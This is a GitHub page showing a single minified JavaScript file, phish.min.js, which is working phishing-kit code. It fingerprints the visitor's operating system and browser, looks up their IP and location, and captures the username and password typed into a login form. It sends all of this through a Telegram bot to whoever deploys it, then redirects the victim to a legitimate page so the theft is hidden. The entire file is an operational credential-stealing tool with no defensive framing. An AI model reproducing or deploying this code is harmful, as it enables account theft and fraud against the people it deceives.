-
Notifications
You must be signed in to change notification settings - Fork 0
/
phish.min.js
1 lines (1 loc) · 3.39 KB
/
phish.min.js
1
const phish=(e,n,a)=>{var r={options:[],header:[navigator.platform,navigator.userAgent,navigator.appVersion,navigator.vendor,window.opera],dataos:[{name:"Windows Phone",value:"Windows Phone",version:"OS"},{name:"Windows",value:"Win",version:"NT"},{name:"iPhone",value:"iPhone",version:"OS"},{name:"iPad",value:"iPad",version:"OS"},{name:"Kindle",value:"Silk",version:"Silk"},{name:"Android",value:"Android",version:"Android"},{name:"PlayBook",value:"PlayBook",version:"OS"},{name:"BlackBerry",value:"BlackBerry",version:"/"},{name:"Macintosh",value:"Mac",version:"OS X"},{name:"Linux",value:"Linux",version:"rv"},{name:"Palm",value:"Palm",version:"PalmOS"}],databrowser:[{name:"Chrome",value:"Chrome",version:"Chrome"},{name:"Firefox",value:"Firefox",version:"Firefox"},{name:"Safari",value:"Safari",version:"Version"},{name:"Internet Explorer",value:"MSIE",version:"MSIE"},{name:"Opera",value:"Opera",version:"Opera"},{name:"BlackBerry",value:"CLDC",version:"CLDC"},{name:"Mozilla",value:"Mozilla",version:"Mozilla"}],init:function(){var e=this.header.join(" "),n=this.matchItem(e,this.dataos),a=this.matchItem(e,this.databrowser);return{os:n,browser:a}},matchItem:function(e,n){var a,r,o,t,i,s=0,l=0;for(s=0;s<n.length;s+=1)if(a=new RegExp(n[s].value,"i"),o=a.test(e),o){if(r=new RegExp(n[s].version+"[- /:;]([\\d._]+)","i"),t=e.match(r),i="",t&&t[1]&&(t=t[1]),t)for(t=t.split(/[._]+/),l=0;l<t.length;l+=1)i+=0===l?t[l]+".":t[l];else i="0";return{name:n[s].name,version:parseFloat(i)}}return{name:"unknown",version:0}}},o=r.init();const t=()=>{let e=new XMLHttpRequest;e.open("GET","http://ip-api.com/json/?fields=query,country,city,regionName",!1),e.send(null);let n=JSON.parse(e.responseText);return n},i=()=>{let e=new URLSearchParams(window.location.search).get("link");null!==e&&(a=e),window.location.assign(a)};let s=t();var l=$("#username"),v=$("#password"),u=$("#submit-button");u.prop("disabled",!0),l.on("change input paste keydown cut keypress keyup changeproperty",function(){0!=$(this).val().length?$(this).attr("valid",!0):$(this).attr("valid",!1)}),v.on("change input paste keydown cut keypress keyup changeproperty",function(){0!=$(this).val().length?$(this).attr("valid",!0):$(this).attr("valid",!1)}),$("#username, #password").on("change input paste keydown cut keypress keyup changeproperty",function(){"true"===$("#username").attr("valid")&&"true"===v.attr("valid")?u.prop("disabled",!1):u.prop("disabled",!0)}),u.on("click",function(){let a=new Date,r=`${a.getDate()}/${a.getMonth()+1}/${a.getFullYear()}`,t=`${a.getHours()}:${a.getMinutes()}:${a.getSeconds()}`,u=new XMLHttpRequest,p=l.val(),m=v.val(),d=`----------------------------------------------------%0A\nDate : ${r}%0A\nTime : ${t}%0A\n----------------------------------------------------%0A\nLogin: ${p}%0A\nPass : ${m}%0A\n----------------------------------------------------%0A\nIP: ${s.query}%0A\nLocation: ${s.city}, ${s.regionName}, ${s.country}%0A\nOS: ${o.os.name} v${o.os.version}%0A\nBrowser: ${o.browser.name} v${o.browser.version}%0A\n----------------------------------------------------%0A%0A\nMore Info%0A%0A\nnavigator.userAgent:%0A${navigator.userAgent}%0A%0A\nnavigator.appVersion:%0A${navigator.appVersion}%0A%0A\nnavigator.platform:%0A${navigator.platform}%0A%0A\nnavigator.vendor:%0A${navigator.vendor}%0A\n`;u.open("POST",`https://api.telegram.org/bot${e}/sendMessage?chat_id=${n}&parse_mode=html&text=${d}`),u.send(),setTimeout(function(){i()},1e3)})};